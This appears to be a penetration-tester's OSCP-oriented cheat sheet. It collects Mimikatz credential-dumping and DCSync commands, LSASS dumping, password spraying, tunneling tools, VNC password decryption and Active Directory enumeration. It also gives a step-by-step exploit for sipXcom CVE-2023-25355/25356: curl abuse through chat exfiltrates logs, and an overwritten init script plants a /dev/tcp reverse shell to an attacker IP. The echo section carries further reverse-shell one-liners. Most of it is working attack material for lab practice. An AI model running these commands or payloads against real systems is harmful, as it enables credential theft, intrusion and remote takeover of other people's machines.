$cmd.CommandText = "SELECT DB_NAME()"; $cmd.ExecuteScalar()

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20


MSSQL privilege-escalation technique

This MSSQL privilege-escalation method uses IMPERSONATE permission:

First, check whether another user can be impersonated:

-- Query users that can be impersonated
SELECT distinct b.name
FROM sys.server_permissions a
INNER JOIN sys.server_principals b
ON a.grantor_principal_id = b.principal_id
WHERE a.permission_name = 'IMPERSONATE'

SELECT DISTINCT b.name FROM sys.server_permissions a INNER JOIN sys.server_principals b ON a.grantor_principal_id = b.principal_id WHERE a.permission_name = 'IMPERSONATE'

The hrappdb-reader user can be impersonated
Perform impersonation:
EXECUTE AS LOGIN = 'hrappdb-reader'

Successful impersonation grants hrappdb-reader permissions and access to the hrappdb database

64.mimikatz

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48


# Mimikatz one-line execution command
mimikatz.exe "privilege::debug" "token::elevate" "lsadump::sam" "exit"
mimikatz.exe /c "privilege::debug" /c "token::elevate" /c "lsadump::sam"
mimikatz "privilege::debug" "token::elevate" "lsadump::sam"

# Extract all credentials
 lsadump::sam sekurlsa::msv lsadump::secrets lsadump::cache
mimikatz.exe "lsadump::sam" "privilege::debug" "sekurlsa::msv" "lsadump::secrets" "lsadump::cache" "exit"
# Extract all logon credentials
mimikatz.exe "token::elevate" "privilege::debug" "sekurlsa::logonpasswords" "exit"

# Or extract domain-administrator credentials specifically
mimikatz.exe "privilege::debug" "sekurlsa::logonpasswords /user:administrator" "exit"

# Extract potentially available usernames and passwords
mimikatz.exe "privilege::debug" "sekurlsa::credman" "exit"

# If running as administrator, try retrieving tickets from the current computer
Using the sekurlsa module (from LSASS memory):

# From the running LSASS process
sekurlsa::tickets # View all tickets
sekurlsa::tickets /export # Export all tickets

mimikatz.exe "privilege::debug" "sekurlsa::tickets" "exit"

# From a dump file
sekurlsa::minidump lsass.dmp # Load the dump
sekurlsa::tickets # View tickets in the dump

Using the kerberos module (from the current session):

powershellCopy# View tickets
kerberos::list # List tickets in the current session
kerberos::tgt # View the current TGT
kerberos::purge # Purge all tickets

# Export tickets
kerberos::list /export # Export all tickets
# Tickets are exported as .kirbi files by default

# Ticket operations
kerberos::ptt ticket.kirbi # Inject a ticket (Pass the Ticket)

# Domain-controller synchronization with DCSync
.\mimikatz.exe
lsadump::dcsync /user:DC01\web_svc
lsadump::dcsync /user:corp\Administrator

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13


# View domain-administrator logon sessions
query user /server:localhost

# Check logon history in the registry
reg query "HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Authentication\LogonUI"

# Create an LSASS dump
procdump.exe -ma lsass.exe lsass.dmp
procdump.exe -accepteula -ma lsass.exe lsass.dmp
pypykatz lsa minidump lsass.dmp

# Then analyze it with Mimikatz
mimikatz.exe "sekurlsa::minidump lsass.dmp" "sekurlsa::logonpasswords" "exit"

66.Domain Information Gathering

1
2
3
4
5
6


# View domain controllers
nltest /dclist:medtech.com

# Or
nslookup -type=SRV _ldap._tcp.medtech.com
nslookup -type=SRV _gc._tcp.medtech.com

67.ligolo-ng

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20


https://github.com/nicocha30/ligolo-ng/releases/tag/v0.7.3

Attacker machine
sudo ip tuntap add user $(whoami) mode tun ligolo
sudo ip link set ligolo up
./proxy -selfcert

Target machine
.\agent.exe -connect 192.168.45.184:11601 -ignore-cert

Configure routing
sudo ip route add 10.10.174.0/24 dev ligolo

session # Show all available sessions
session list # List all sessions
session <ID> # Select a specific sessionifconfig # Show network-interface configuration
info # Show current-session information
listener_list # Show all listeners
bashCopystart # Start the selected session
stop # Stop the current session

68.Windows: Add a User to the Remote Desktop Users Group

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15


#Enable Remote Desktop
REG ADD HKLM\SYSTEM\CurrentControlSet\Control\Terminal" "Server /v fDenyTSConnections /t REG_DWORD /d 00000000 /f

cmd /c net user gesila Admin@123 /add
cmd /c net localgroup Administrators gesila /add
cmd /c net localgroup "Remote Desktop Users" gesila /add

# Domain format
xfreerdp /u:medtech.com\\joe /p:Flowers1 /v:192.168.170.121 +clipboard /drive:data,/data /workarea

# Local format
xfreerdp /u:gesila /p:123456 /v:192.168.183.247 +clipboard /drive:data,/data /workarea

Reference the file as follows
xfreerdp file.rdp /d:skylark /u:kiosk /p:'XEwUS^9R2Gwt8O914'

69.windows_history

1

C:\Users\wario\AppData\Roaming\Microsoft\Windows\PowerShell\PSReadLine\ConsoleHost_history.txt

70.powershell

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26


$pass = ConvertTo-SecureString "W3_4R3_th3_f0rce." -AsPlainText -Force
$cred = New-Object System.Management.Automation.PSCredential("ACUTE\imonks", $pass)
Enter-PSSession -ComputerName ATSSERVER -Credential $cred -ConfigurationName dc_manage

Enter-PSSession -ComputerName CLIENT02 -Credential $cred
Enter-PSSession -ComputerName 172.16.131.83 -Credential $cred

New-PSSession -ComputerName CLIENT02 -Credential $cred
New-PSSession -ComputerName 172.16.131.83 -Credential $cred
# 1. Enter an existing session by session ID
Enter-PSSession -Session (Get-PSSession -Id 18)

# 2. Or use ComputerName to create and enter a new session directly
Enter-PSSession -ComputerName CLIENT02 -Credential $cred

# List all sessions
Get-PSSession

# Remove a session
Remove-PSSession -Id 18

# Disconnect a session without removing it
Disconnect-PSSession -Id 18

# Reconnect a session
Connect-PSSession -Id 18

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13


#
icacls .\auditTracker.exe
# View detailed permissions
Get-Acl .\auditTracker.exe
# Run with elevated privileges
sc.exe start audtiTracker
sc.exe qc auditTracker
# View the privileges under which the file runs
Start-Process .\auditTracker.exe -Verb RunAs
Get-Service auditTracker | Select-Object *

# View services
 Get-Service "auditTracker"

1
2
3
4
5
6


schtasks /query /fo LIST /v
Get-ScheduledTask | Where-Object {$_.State -eq 'Ready'} | Select TaskPath,TaskName

schtasks /query /tn "TASK_NAME" /fo LIST /v
$task = Get-ScheduledTask -TaskName "TASK_NAME"
$task | Select *

71.Domain Enumeration

I’ve used both of these for a long time, but some parameters differ between versions, so I’m writing them all down here.

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13


crackmapexec smb 172.16.131.82 -u user.txt -p passwds.txt --continue-on-success
# crackmapexec has delay issues and jitter causes errors; netexec works better
netexec smb 172.16.131.82 -u user.txt -p passwds.txt --continue-on-success --jitter 5

Sometimes "Connection Error: Error while reading from remote" requires manual verification

# Full arguments; a domain can be specified
crackmapexec smb 192.168.50.75 -u users.txt -p 'Nexus123!' -d corp.com --continue-on-success

# https://github.com/ropnop/kerbrute/releases
# For Kerberos brute forcing
.\kerbrute_windows_amd64.exe passwordspray -d corp.com .\usernames.txt "Nexus123!"
This can run on a domain member host

72.Other Uses for Vulnerabilities

1
2
3
4
5
6
7


# Read the identity of the user running the program
http://127.0.0.1:8000/backend/?view=../../../../../../../../../../../../../proc/self/status
http://127.0.0.1:8000/backend/?view=../../../../../../../../../../../../../proc/self/environ

keepass2john Database.kdbx > 1.txt
keepassxc Database.kdbx
john 1.txt --wordlist=/usr/share/wordlists/rockyou.txt

73.IMAP

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19


IMAP commands

# Log in first
a001 LOGIN maildmz@relia.com DPuBT9tGCBrTbR

# List all mailboxes
a002 LIST "" "*"

# Select the inbox
a003 SELECT INBOX

# View messages
a004 FETCH 1:* FULL

# View status
a005 STATUS INBOX (MESSAGES)

# List all folders
a006 LSUB "" "*"

74.Library-MS File Attack

https://medium.com/@mhwee/unmasking-windows-library-files-a-deep-dive-into-client-side-exploitation-6bf3371a5262

https://medium.com/@msuliman.mohamed/deliver-your-payload-by-abusing-windows-library-files-cfe862b619df

1

wsgidav --host=0.0.0.0 --port=80 --auth=anonymous --root /home/kali/oscp/Relia/webdav

75.postgres

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16


https://www.cnblogs.com/renhaoblog/p/15035230.html

psql -h localhost -p 5432 -U postgres

# Specify the database name (the default is the postgres database)
sudo /usr/bin/psql postgres

# Or
sudo -u postgres /usr/bin/psql postgres

# Or use a connection string
sudo /usr/bin/psql "postgresql:///postgres?user=postgres"

CREATE ROLE root WITH SUPERUSER LOGIN;

sudo psql -U postgres

76.Windows Services

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29


# CMD commands
sc query # Query basic information for all services
sc query state=all # Query services in every state
sc qc <SERVICE_NAME> # Query detailed configuration for a specific service

sc stop <SERVICE_NAME>
sc start <SERVICE_NAME>

Identify the service process
tasklist | findstr GPGService
Stop it
taskkill /F /IM GPGService.exe

# PowerShell commands
Get-Service # View all services
Get-Service | Where-Object {$_.Status -eq "Running"} # View running services
Get-Service -Name "SERVICE_NAME" # View a specific service

# List all services and filter key information
sc query state= all | find /i "SERVICE_NAME" # First obtain all service names
# Then iterate over each service name and query its configuration
for /f "tokens=4 delims=: " %i in ('sc query state^= all ^| find /i "service_name"') do @sc qc %i | find /i "BINARY_PATH_NAME"

# Or find services running as LocalSystem
for /f "tokens=4 delims=: " %i in ('sc query state^= all ^| find /i "service_name"') do @sc qc %i | find /i "SERVICE_START_NAME"

Get-WmiObject win32_service | Select-Object Name, PathName, StartName

sc query type= service | findstr /i "dev"

77.Windows DLL/EXE Search-Order Exploitation

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20


When a service path contains spaces and is unquoted, Windows searches for executables in this order:

CopyC:\Skylar.exe
C:\Skylar\Development.exe # This is why the exploit succeeded!
C:\Skylark\Development Binaries.exe
C:\Skylark\Development Binaries 01.exe
C:\Skylark\Development Binaries 01\DevService.exe

In this case:

The service path is: C:\Skylark\Development Binaries 01\???????.exe
When Windows encounters an unresolvable filename (?????), it searches in the order above
Development.exe was placed in C:\Skylark\
This matches the second location in the search order

Key vulnerability conditions:

The path contains spaces
The path is not quoted
Windows automatically resolves the path

78.TFTP (UDP)

I’d used this service on VulnHub before but never took notes. The catch is that there is no command like dir, so finding files is entirely guesswork.

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26


# Enter TFTP interactive mode
tftp 192.168.214.222 69

# In interactive mode:
binary # Set binary transfer mode
get file # Download a file
put file # Upload a file

# Download a file
atftp -g -r filename 192.168.214.222 69

# Upload a file
atftp -p -l localfile 192.168.214.222 69

# Download a file
tftp 192.168.214.222 -c get remotefile.txt

# Upload a file
tftp 192.168.214.222 -c put localfile.txt

Configuration file
cat /etc/xinetd.d/tftp

https://nmap.org/nsedoc/scripts/tftp-enum.html
nmap -sVU -p69 --script tftp-enum 192.168.214.222
/usr/share/metasploit-framework/data/wordlists/tftp.txt

79.CoreDial sipXcom sipXopenfire CVE-2023-25355 CVE-2023-25356 RCE/EXP

This was a really interesting exploit, but getting it to work was an incredibly rough ride. I barely managed to finish this part with help from Discord and Claude. Maybe it only felt interesting once everything was finally done; while I was learning it, I felt like my brain was turning to mush. I was completely lost during the exploitation process and got stuck here for a day and a half. Every step forced me to stop and think, and nothing worked, over and over again. I didn’t yet have a solid grasp of the exploit itself, so every failed reproduction made things worse. Fortunately, I solved it in the end. If everything had gone smoothly, I probably wouldn’t remember it this well or understand it this deeply. Searching Google for this application turned up nothing but CVE numbers; hardly anyone seemed to be working on the actual exploit.

First, the key reference: https://sploitus.com/exploit?id=1337DAY-ID-38254. This is the only blog post I found that explains how the vulnerability works.

I never found this post through search. I asked around on Discord, but every link people gave me had already been deleted, so the original was gone. This is a backup hosted on another site, and I’ve downloaded a local copy. That was one of the wrong turns I took: the Discord links never opened, and at first I assumed that was simply how it was, only to realize later that the pages had been removed.

That post is the thread running through this entire exploit and contains almost everything you need. If you want to automate the exploitation, you can try https://github.com/AlexLinov/sipXcom-RCE.

I’m doing this manually precisely because the automated approach didn’t work. Next I’ll break down how I reproduced the vulnerability. (Because of the OSCP NDA, a lot of the screenshots will be heavily redacted.)

First, you need credentials. A low-privileged user is enough; where you get them is up to you.

Make sure you can log in. Run Pidgin as a non-root user and specify the target IP and port. This is another key point. I’m not sure whether it actually matters, but once I had corrected all of this, the exploit worked.

Log in as the low-privileged user. The blog explains that you can create a user yourself by clicking create this new account on the server, but I didn’t use that option here.

If you need to go through a proxy, don’t add extra configuration; configuring the proxy unnecessarily can actually make it hang. One tip: if Pidgin freezes with no response after you close and reopen it, run rm -rf ~/.purple/ to delete its configuration, then open it again.

If a pop-up appears, click accept, or you won’t be able to proceed. You also have to fill in Domain, and the corresponding domain and IP must be added to the hosts file; otherwise, the client may not be able to locate the server.

The green indicator is what confirms a successful connection. Anything else means something is wrong with the configuration, possibly including the networking software.

Fill this in to add a chat contact. You can even enter your own account; once it’s filled in, click add.

If nothing appears after adding it, look at the screenshot above and check every option. Only two were selected by default for me. You need all of them enabled to see every user, including people who haven’t accepted the contact request and users who are offline.

Double-click the icon to open the chat window, then build the payload.

1
2
3
4
5
6
7


First, listen on local port 80

nc -lvnp 80

Enter the following in the chat box

@call abc -o /tmp/dummy -d @/opt/openfire/logs/sipxopenfire-im.log http://192.168.xx.xx/abc

If everything goes as expected, you’ll get the result shown above. The file contains passwords because it stores chat logs, which may hold something useful, such as an administrator password. Just inspect the contents.

Once you’ve found the administrator password, you can build the exploit. The idea is to use an operation that overwrites /etc/init.d/openfire. When sipXopenfire restarts, it reloads the configuration and invokes the shell script inside it, leading to RCE. One line contains the reverse-shell command; remember to change the IP and port.

 1
 2
 3
 4
 5
 6
 7
 8
 9
 10
 11
 12
 13
 14
 15
 16
 17
 18
 19
 20
 21
 22
 23
 24
 25
 26
 27
 28
 29
 30
 31
 32
 33
 34
 35
 36
 37
 38
 39
 40
 41
 42
 43
 44
 45
 46
 47
 48
 49
 50
 51
 52
 53
 54
 55
 56
 57
 58
 59
 60
 61
 62
 63
 64
 65
 66
 67
 68
 69
 70
 71
 72
 73
 74
 75
 76
 77
 78
 79
 80
 81
 82
 83
 84
 85
 86
 87
 88
 89
 90
 91
 92
 93
 94
 95
 96
 97
 98
 99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
143
144
145
146
147
148
149
150
151
152
153
154
155
156
157
158
159
160
161
162
163
164
165
166
167
168
169
170
171
172
173
174
175
176
177
178
179
180
181
182
183
184
185
186
187
188
189
190
191
192
193
194
195
196
197
198
199
200
201
202
203
204
205
206
207
208
209
210
211
212
213
214


#!/bin/sh
#
# openfire Stops and starts the Openfire XMPP service.
#
# chkconfig: 2345 99 1
# description: Openfire is an XMPP server, which is a server that facilitates \
# XML based communication, such as chat.
# config: /opt/openfire/conf/openfire.xml
# config: /etc/sysconfig/openfire
# pidfile: /var/run/openfire.pid
#
# This script has currently been tested on Redhat, CentOS, and Fedora based
# systems.
#

#####
# Begin setup work
#####

# Initialization
PATH="/sbin:/bin:/usr/bin:/usr/sbin"
RETVAL=0

# Check that we are root ... so non-root users stop here.
if [ "`id -u`" != 0 ]; then
echo $0 must be run as root
exit 1
fi

su -s /bin/sh -c "bash -i >& /dev/tcp/192.168.96.128/4444 0>&1"

# Get config.
[ -f "/etc/sysconfig/openfire" ] && . /etc/sysconfig/openfire
if [ -f "/etc/init.d/functions" ]; then
FUNCTIONS_FOUND=true
. /etc/init.d/functions
fi

# If openfire user is not set in sysconfig, set to daemon.
[ -z "$OPENFIRE_USER" ] && OPENFIRE_USER="daemon"

# If pid file path is not set in sysconfig, set to /var/run/openfire.pid.
[ -z "$OPENFIRE_PIDFILE" ] && OPENFIRE_PIDFILE="/var/run/openfire.pid"

# -----------------------------------------------------------------

# If a openfire home variable has not been specified, try to determine it.
if [ -z "$OPENFIRE_HOME" -o ! -d "$OPENFIRE_HOME" ]; then
if [ -d "/usr/share/openfire" ]; then
OPENFIRE_HOME="/usr/share/openfire"
elif [ -d "/usr/local/openfire" ]; then
OPENFIRE_HOME="/usr/local/openfire"
elif [ -d "/opt/openfire" ]; then
OPENFIRE_HOME="/opt/openfire"
else
echo "Could not find Openfire installation under /opt, /usr/share, or /usr/local."
echo "Please specify the Openfire installation location as variable OPENFIRE_HOME"
echo "in /etc/sysconfig/openfire."
exit 1
fi
fi

# If log path is not set in sysconfig, set to $OPENFIRE_HOME/logs.
[ -z "$OPENFIRE_LOGDIR" ] && OPENFIRE_LOGDIR="${OPENFIRE_HOME}/logs"

# Attempt to locate java installation.
if [ -z "$JAVA_HOME" ]; then
if [ -d "${OPENFIRE_HOME}/jre" ]; then
JAVA_HOME="${OPENFIRE_HOME}/jre"
elif [ -d "/etc/alternatives/jre" ]; then
JAVA_HOME="/etc/alternatives/jre"
else
jdks=`ls -r1d /usr/java/j*`
for jdk in $jdks; do
if [ -f "${jdk}/bin/java" ]; then
JAVA_HOME="$jdk"
break
fi
done
fi
fi
JAVACMD="${JAVA_HOME}/bin/java"

if [ ! -d "$JAVA_HOME" -o ! -x "$JAVACMD" ]; then
echo "Error: JAVA_HOME is not defined correctly."
echo " Can not sure execute $JAVACMD."
exit 1
fi

# Prepare location of openfire libraries
OPENFIRE_LIB="${OPENFIRE_HOME}/lib"

# Prepare openfire command line
OPENFIRE_OPTS="${OPENFIRE_OPTS} -DopenfireHome=${OPENFIRE_HOME} -Dopenfire.lib.dir=${OPENFIRE_LIB}"

# Prepare local java class path
if [ -z "$LOCALCLASSPATH" ]; then
LOCALCLASSPATH="${OPENFIRE_LIB}/startup.jar"
else
LOCALCLASSPATH="${OPENFIRE_LIB}/startup.jar:${LOCALCLASSPATH}"
fi

# Export any necessary variables
export JAVA_HOME JAVACMD

# Lastly, prepare the full command that we are going to run.
OPENFIRE_RUN_CMD="${JAVACMD} -server ${OPENFIRE_OPTS} -classpath \"${LOCALCLASSPATH}\" -jar \"${OPENFIRE_LIB}/startup.jar\""

#####
# End setup work
#####

start() {
OLD_PWD=`pwd`
cd $OPENFIRE_LOGDIR

PID=$(findPID)
if [ -n "$PID" ]; then
echo "Openfire is already running."
RETVAL=1
return
fi

# Start daemons.
echo -n "Starting openfire: "

rm -f nohup.out
su -s /bin/sh -c "nohup $OPENFIRE_RUN_CMD > $OPENFIRE_LOGDIR/nohup.out 2>&1 &" $OPENFIRE_USER
RETVAL=$?

echo

[ $RETVAL -eq 0 -a -d /var/lock/subsys ] && touch /var/lock/subsys/openfire

sleep 1 # allows prompt to return
cd $OLD_PWD
}

stop() {
# Stop daemons.
echo -n "Shutting down openfire: "

PID=$(findPID)
if [ -n "$PID" ]; then
if [ -n "$FUNCTIONS_FOUND" ]; then
echo $PID > $OPENFIRE_PIDFILE
# delay copied from restart
killproc -p $OPENFIRE_PIDFILE -d 10
rm -f $OPENFIRE_PIDFILE
else
kill $PID
fi
else
echo "Openfire is not running."
fi

RETVAL=$?
echo

[ $RETVAL -eq 0 -a -f "/var/lock/subsys/openfire" ] && rm -f /var/lock/subsys/openfire
}

restart() {
stop
sleep 10 # give it a few moments to shut down
start
}

condrestart() {
[ -e "/var/lock/subsys/openfire" ] && restart
return 0
}

status() {
PID=$(findPID)
if [ -n "$PID" ]; then
echo "openfire is running"
RETVAL=0
else
echo "openfire is not running"
RETVAL=1
fi
}

findPID() {
echo `ps ax --width=1000 | grep openfire | grep startup.jar | awk '{print $1}'`
}

# Handle how we were called.
case "$1" in
start)
start
;;
stop)
stop
;;
restart)
restart
;;
condrestart)
condrestart
;;
reload)
restart
;;
status)
status
;;
*)
echo "Usage $0 {start|stop|restart|status|condrestart|reload}"
RETVAL=1
esac

exit $RETVAL

Save this file locally, for example as openfire.txt. Next, overwrite /etc/init.d/openfire.

@call abc -o /tmp/dummy -o /etc/init.d/openfire -X GET http://192.168.96.128/openfire.txt -o /tmp/dummy

All you need to do is start an HTTP server.

Then enter the command above in the chat window. It will download the file and overwrite the Openfire script.

The only thing left is to restart the service. I’ll describe the route I took, because even the blog never explained where to do this; I had to feel my way through it. Remember to listen on the port specified in the exploit above.

That makes this a pretty detailed walkthrough. Some people on Discord said this was an interesting box, and I agree—though naturally it only felt interesting after I had finished it. After the restart, wait a little while and the root shell should come in.

80.tcpdump

1

tcpdump -i any udp -w capture.pcap

81.BSD

1
2


This directory traditionally stores home directories for temporary or guest users
/usr/guest/

82.Windows Command Line

Permissions

1
2
3
4
5
6
7
8


First, take ownership of the file:
takeown /f "C:\Users\k.smith\.ssh\id_rsa"

Modify file permissions to gain full control:
icacls "C:\Users\k.smith\.ssh\id_rsa" /grant Administrators:F

Force the permission change:
cacls "C:\Users\k.smith\.ssh\id_rsa" /E /P Administrators:F

83.socat

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
22


Use a more verbose listener command:

bashCopysocat -v UNIX-LISTEN:/tmp/s,fork STDOUT

Or try logging the communication:

bashCopysocat -v UNIX-LISTEN:/tmp/s,fork "SYSTEM:tee /tmp/socat.log"

You can also try interacting with it:

bashCopy# Listen and display all received data in hexadecimal
socat -x UNIX-LISTEN:/tmp/s,fork STDOUT

Expose a local port through a proxy
# On the target machine, forward local port 8888 to port 33333 on 0.0.0.0
socat TCP-LISTEN:33333,fork TCP:127.0.0.1:8888

# Create a reverse tunnel
# On the attacker machine:
socat TCP-LISTEN:33333,reuseaddr,fork TCP-LISTEN:8888,reuseaddr,bind=localhost
# On the attacker machine:
socat TCP:ATTACKER_IP:33333 TCP:127.0.0.1:8888

84.VNC Passwords

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42


https://www.cnblogs.com/fczlm/p/17759610.html

VNC password
Configuration path: c:\Program Files\uvnc bvba\UltraVNC\ultravnc.ini; decryption tool: https://github.com/jeroennijhof/vncpwd

TightVNC
The encrypted TightVNC password is stored in the registry and requires administrator privileges

reg query HKEY_LOCAL_MACHINE\SOFTWARE\TightVNC\Server /v ControlPassword
reg query HKEY_LOCAL_MACHINE\SOFTWARE\TightVNC\Server /v password
reg query HKEY_LOCAL_MACHINE\SOFTWARE\TightVNC\Server /v RfbPort

Decryption tool: https://github.com/jeroennijhof/vncpwd

RealVNC
The encrypted RealVNC password is stored in the registry and requires administrator privileges.

reg query HKEY_LOCAL_MACHINE\SOFTWARE\RealVNC\vncserver /v password
Decryption tool: https://github.com/jeroennijhof/vncpwd

First, create a file containing the raw hexadecimal data:

bashCopy# Use xxd to create a binary file
echo "BFE825DE515A335BE3" | xxd -r -p > vnc.txt
# Then try to decrypt it
./vncpwd vnc.txt

Or try the MSF method:
msfconsole
irb
fixedkey = "\x17\x52\x6b\x06\x23\x4e\x58\x07"
require 'rex/proto/rfb'
Rex::Proto::RFB::Cipher.decrypt("BFE825DE515A335BE3", fixedkey)

Or try another version of vncpwd:
bashCopygit clone https://github.com/gitdurandal/vncpwd.git
cd vncpwd
make
./vncpwd BFE825DE515A335BE3

vncviewer 192.168.214.220:5900
# Enter password: R3S3+rcH

85.chisel

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21


Server listener (attacker machine)

# Basic server syntax
./chisel server --reverse -p 8000

Client connection (target machine)
# Basic connection
./chisel client ATTACKER_IP:8000 R:LOCAL_LISTEN_PORT:TARGET_IP:TARGET_PORT

Common command examples:
Reverse-proxy a single port
# Server
./chisel server --reverse -p 8000
# Client
./chisel client ATTACKER_IP:8000 R:8001:TARGET_IP:TARGET_PORT

SOCKS proxy
# Server
./chisel server --reverse -p 8000
# Client
./chisel client ATTACKER_IP:8000 R:socks

86.A Few Things About echo

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12


# Using double quotes with echo prevents #!/bin/bash from being written correctly
# Single quotes work correctly

echo '#!/bin/bash' > 1.sh
echo "#!/bin/bash\n" > __fs.sh

# Add -e when escape-sequence interpretation is required
echo '#!/bin/bash' > __fs.sh
echo -e "check_filesystems() {\nbash -c 'exec bash -i >& /dev/tcp/192.168.45.184/80 <&1'\n}" > __fs.sh

echo '#!/bin/bash' > 1.sh
echo -e "check_filesystems() {\n\tbash -c 'exec bash -i >& /dev/tcp/192.168.45.184/80 <&1'\n}" >> 1.sh

87.dnscat (DNS Tunnel)

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25


# Step 1: On the Kali attacker machine
# Start the dnscat2 server
dnscat2-server feline.corp # feline.corp is a user-defined domain and can be named freely

# Step 2: On the target machine
# Upload dnscat_exercise_client to the target machine
# Run the client and connect to the server
./dnscat_exercise_client feline.corp # Use the same domain
# The command above suits public networks; on internal networks, point DNS to the Kali machine
# On the target machine:
# Use --dns to specify the server IP and port
./dnscat --dns server=<KALI_IP>,port=53

# Or use a more complete command:
./dnscat --dns server=<KALI_IP>,port=53 --secret=<SECRET_VALUE>

# Step 3: Operate from the dnscat2 server on Kali
# View connection status
dnscat2> windows

# Switch to the session
dnscat2> window -i 1

# Configure port forwarding
command (TARGET_HOSTNAME) 1> listen 0.0.0.0:4455 192.168.176.7:445

88.Detailed Enumeration Inside a Windows Domain

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90


Local LDAP search
PowerView
Tutorial: https://powersploit.readthedocs.io/en/latest/Recon/

# Import
Import-Module .\PowerView.ps1

# Basic domain information
PS C:\Tools> Get-NetDomain

Forest : corp.com
DomainControllers : {DC1.corp.com}
Children : {}
DomainMode : Unknown
DomainModeLevel : 7
Parent :
PdcRoleOwner : DC1.corp.com
RidRoleOwner : DC1.corp.com
InfrastructureRoleOwner : DC1.corp.com
Name : corp.com

# Get-NetUser retrieves a list of all users in the domain
PS C:\Tools> Get-NetUser

logoncount : 113
iscriticalsystemobject : True
description : Built-in account for administering the computer/domain
distinguishedname : CN=Administrator,CN=Users,DC=corp,DC=com
objectclass : {top, person, organizationalPerson, user}
lastlogontimestamp : 9/13/2022 1:03:47 AM
name : Administrator
objectsid : S-1-5-21-1987370270-658905905-1781884369-500
samaccountname : Administrator
admincount : 1
codepage : 0
samaccounttype : USER_OBJECT
accountexpires : NEVER
cn : Administrator
whenchanged : 9/13/2022 8:03:47 AM
instancetype : 4
usncreated : 8196
objectguid : e5591000-080d-44c4-89c8-b06574a14d85
lastlogoff : 12/31/1600 4:00:00 PM
objectcategory : CN=Person,CN=Schema,CN=Configuration,DC=corp,DC=com
dscorepropagationdata : {9/2/2022 11:25:58 PM, 9/2/2022 11:25:58 PM, 9/2/2022 11:10:49 PM, 1/1/1601 6:12:16 PM}
memberof : {CN=Group Policy Creator Owners,CN=Users,DC=corp,DC=com, CN=Domain Admins,CN=Users,DC=corp,DC=com, CN=Enterprise
 Admins,CN=Users,DC=corp,DC=com, CN=Schema Admins,CN=Users,DC=corp,DC=com...}
lastlogon : 9/14/2022 2:37:15 AM
...

# The output shows that cn stores usernames; pipe the output to select and choose cn
PS C:\Tools> Get-NetUser | select cn

cn
--
Administrator
Guest
krbtgt
dave
stephanie
jeff
jeffadmin
iis_service
pete
jen

# Retrieve other attributes
Get-NetUser | select cn,pwdlastset,lastlogon

# Similarly, use Get-NetGroup to enumerate groups
PS C:\Tools> Get-NetGroup | select cn

cn
--
...
Key Admins
Enterprise Key Admins
DnsAdmins
DnsUpdateProxy
Sales Department
Management Department
Development Department
Debug

# Use Get-NetGroup to inspect the Sales Department and pipe the output to select member
PS C:\Tools> Get-NetGroup "Sales Department" | select member

member
------
{CN=Development Department,DC=corp,DC=com, CN=pete,CN=Users,DC=corp,DC=com, CN=stephanie,CN=Users,DC=corp,DC=com}

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31


# Obtain more information

# Use the PowerView Get-NetComputer command to enumerate computer objects in the domain
Get-NetComputer

# Filter to obtain hostnames and OS versions for all domain hosts
Get-NetComputer | select operatingsystem,dnshostname

# Run as stephanie (important in real engagements)
PS C:\> Find-LocalAdminAccess

# What happens internally:
# 1. Try connecting to machine A's SCM -> failed (insufficient permissions)
# 2. Try connecting to machine B's SCM -> failed (insufficient permissions)
# 3. Try connecting to client74's SCM -> success! (stephanie is a local administrator on client74)
# 4. Continue trying other machines...

# Final output
client74.corp.com # Indicates administrator privileges on this machine

# Find logged-on users on domain hosts; this requires substantial privileges
# Normally, insufficient permissions mean the current user must access the target as an administrator
# Alternatively, access to the SrvsvcSessionInfo registry entry on the target is required
PS C:\Tools> Get-NetSession -ComputerName files04 -Verbose
VERBOSE: [Get-NetSession] Error: Access is denied

PS C:\Tools> Get-NetSession -ComputerName web04 -Verbose
VERBOSE: [Get-NetSession] Error: Access is denied

# The result above shows administrator privileges on client74, so inspect client74
Get-NetSession -ComputerName client74

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14


# The method above normally requires more privileges; the following method does not
https://learn.microsoft.com/en-us/sysinternals/downloads/pstools provides the suite from the official site
# It queries through the Remote Registry service
